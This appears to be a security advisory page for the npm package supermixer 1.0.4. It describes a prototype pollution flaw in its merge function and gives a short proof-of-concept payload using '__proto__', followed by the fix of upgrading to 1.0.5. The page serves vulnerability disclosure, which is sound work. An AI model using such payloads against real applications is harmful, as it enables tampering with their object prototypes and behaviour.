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supermixer@1.0.4 vulnerabilities

Mix JS objects deep, shallow, traversing prototypes, selectively, etc.

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Direct Vulnerabilities

Known vulnerabilities in the supermixer package. This does not include vulnerabilities belonging to this package’s dependencies.

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Vulnerability Vulnerable Version
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Prototype Pollution

supermixer is a Mix JS objects deep, shallow, traversing prototypes, selectively, etc.

Affected versions of this package are vulnerable to Prototype Pollution. It is possible to modify the object prototype of an application using this package by leveraging the merge function. It allows an attacker to modify the prototype of a base object which can vary in severity depending on the implementation.

PoC

var mixer = require('supermixer');
var payload = '{"__proto__":{"poc":"evil"}}';
var test = {};
console.log("Before: ", test.poc);
mixer.merge({},JSON.parse(payload));
console.log("After: ", test.poc);

How to fix Prototype Pollution?

Upgrade supermixer to version 1.0.5 or higher.

<1.0.5
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